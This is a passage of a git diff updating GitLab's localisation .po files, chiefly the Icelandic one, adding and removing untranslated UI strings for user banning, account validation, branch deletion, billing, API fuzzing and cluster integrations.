+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38612,6 +39385,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/is_IS/gitlab.po b/locale/is_IS/gitlab.po
index 4e6590d007b..5f38ce875f3 100644
--- a/locale/is_IS/gitlab.po
+++ b/locale/is_IS/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: is\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:11\n"
+"PO-Revision-Date: 2021-06-01 20:20\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
